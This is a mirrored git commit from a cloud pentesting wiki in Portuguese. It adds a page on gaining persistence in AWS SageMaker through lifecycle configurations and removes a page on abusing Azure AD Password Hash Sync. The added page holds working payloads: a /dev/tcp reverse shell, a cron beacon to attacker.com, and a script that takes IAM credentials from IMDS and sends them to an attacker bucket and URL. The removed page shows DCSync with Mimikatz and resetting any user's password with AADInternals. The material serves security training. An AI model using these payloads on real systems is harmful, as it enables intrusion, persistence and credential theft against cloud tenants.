mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem
This commit is contained in:
@@ -0,0 +1,156 @@
|
||||
# AWS - Persistência da Configuração do Ciclo de Vida do SageMaker
|
||||
|
||||
## Visão Geral das Técnicas de Persistência
|
||||
|
||||
Esta seção descreve métodos para obter persistência no SageMaker abusando das Configurações de Ciclo de Vida (LCCs), incluindo shells reversos, jobs cron, roubo de credenciais via IMDS e backdoors SSH. Esses scripts são executados com o papel IAM da instância e podem persistir entre reinicializações. A maioria das técnicas requer acesso à rede de saída, mas o uso de serviços no plano de controle da AWS ainda pode permitir sucesso se o ambiente estiver no modo 'apenas VPC'.
|
||||
#### Nota: As instâncias de notebook do SageMaker são essencialmente instâncias EC2 gerenciadas configuradas especificamente para cargas de trabalho de aprendizado de máquina.
|
||||
|
||||
## Permissões Necessárias
|
||||
* Instâncias de Notebook:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Aplicações do Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Definir Configuração de Ciclo de Vida em Instâncias de Notebook
|
||||
|
||||
### Exemplos de Comandos AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Definir Configuração de Ciclo de Vida no SageMaker Studio
|
||||
|
||||
As Configurações de Ciclo de Vida podem ser anexadas em vários níveis e a diferentes tipos de aplicativos dentro do SageMaker Studio.
|
||||
|
||||
### Nível de Domínio do Studio (Todos os Usuários)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Nível de Espaço do Estúdio (Espaços Individuais ou Compartilhados)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipos de Configurações de Ciclo de Vida de Aplicativos do Studio
|
||||
|
||||
As configurações de ciclo de vida podem ser aplicadas especificamente a diferentes tipos de aplicativos do SageMaker Studio:
|
||||
* JupyterServer: Executa scripts durante a inicialização do servidor Jupyter, ideal para mecanismos de persistência como shells reversos e jobs cron.
|
||||
* KernelGateway: Executa durante o lançamento do aplicativo de gateway de kernel, útil para configuração inicial ou acesso persistente.
|
||||
* CodeEditor: Aplica-se ao Editor de Código (Code-OSS), permitindo scripts que são executados no início das sessões de edição de código.
|
||||
|
||||
### Comando de Exemplo para Cada Tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informações Críticas:
|
||||
* Anexar LCCs no nível de domínio ou espaço impacta todos os usuários ou aplicativos dentro do escopo.
|
||||
* Requer permissões mais altas (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente mais viáveis no nível de espaço do que no nível de domínio.
|
||||
* Controles em nível de rede (por exemplo, filtragem de egress estrita) podem prevenir shells reversos bem-sucedidos ou exfiltração de dados.
|
||||
|
||||
## Shell Reverso via Configuração de Ciclo de Vida
|
||||
|
||||
As Configurações de Ciclo de Vida do SageMaker (LCCs) executam scripts personalizados quando as instâncias de notebook iniciam. Um atacante com permissões pode estabelecer um shell reverso persistente.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Persistência de Cron Job via Configuração de Ciclo de Vida
|
||||
|
||||
Um atacante pode injetar cron jobs através de scripts LCC, garantindo a execução periódica de scripts ou comandos maliciosos, permitindo uma persistência furtiva.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Exfiltração de Credenciais via IMDS (v1 & v2)
|
||||
|
||||
As configurações de ciclo de vida podem consultar o Serviço de Metadados da Instância (IMDS) para recuperar credenciais IAM e exfiltrá-las para um local controlado pelo atacante.
|
||||
|
||||
### Exemplo de Payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
|
||||
@@ -1,114 +0,0 @@
|
||||
# Az - PHS - Sincronização de Hash de Senha
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **A sincronização de hash de senha** é um dos métodos de login usados para realizar identidade híbrida. **Azure AD Connect** sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
É o **método mais comum** usado por empresas para sincronizar um AD local com o Azure AD.
|
||||
|
||||
Todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD.\
|
||||
Além disso, grupos de segurança **integrados** (como administradores de domínio...) **não são sincronizados** com o Azure AD.
|
||||
|
||||
A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga.
|
||||
|
||||
Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**.
|
||||
|
||||
**PHS** é necessário para recursos como **Proteção de Identidade** e Serviços de Domínio AAD.
|
||||
|
||||
## Pivotando
|
||||
|
||||
Quando o PHS é configurado, algumas **contas privilegiadas** são automaticamente **criadas**:
|
||||
|
||||
- A conta **`MSOL_<installationID>`** é automaticamente criada no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**.
|
||||
- Uma conta **`Sync_<nome do servidor ADConnect local>_installationID`** é criada no Azure AD. Esta conta pode **reiniciar a senha de QUALQUER usuário** (sincronizado ou apenas em nuvem) no Azure AD.
|
||||
|
||||
As senhas das duas contas privilegiadas anteriores são **armazenadas em um servidor SQL** no servidor onde **Azure AD Connect está instalado.** Os administradores podem extrair as senhas desses usuários privilegiados em texto claro.\
|
||||
O banco de dados está localizado em `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
É possível extrair a configuração de uma das tabelas, sendo uma criptografada:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
A **configuração criptografada** é criptografada com **DPAPI** e contém as **senhas do usuário `MSOL_*`** no AD local e a senha de **Sync\_\*** no AzureAD. Portanto, comprometendo essas informações, é possível obter privilégios elevados no AD e no AzureAD.
|
||||
|
||||
Você pode encontrar uma [visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Encontrando o **servidor de conexão do Azure AD**
|
||||
|
||||
Se o **servidor onde o Azure AD Connect está instalado** estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:
|
||||
```bash
|
||||
# ActiveDirectory module
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
|
||||
|
||||
#Azure AD module
|
||||
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
|
||||
```
|
||||
### Abusando do MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Você também pode usar [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) para obter essas credenciais.
|
||||
|
||||
### Abusando Sync\_\*
|
||||
|
||||
Comprometer a conta **`Sync_*`** torna possível **reiniciar a senha** de qualquer usuário (incluindo Administradores Globais)
|
||||
```bash
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Também é possível **modificar as senhas apenas dos usuários da nuvem** (mesmo que isso seja inesperado)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
É também possível despejar a senha deste usuário.
|
||||
|
||||
> [!CAUTION]
|
||||
> Outra opção seria **atribuir permissões privilegiadas a um principal de serviço**, que o usuário **Sync** tem **permissões** para fazer, e então **acessar esse principal de serviço** como uma forma de privesc.
|
||||
|
||||
### SSO Sem Costura
|
||||
|
||||
É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Confira em:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user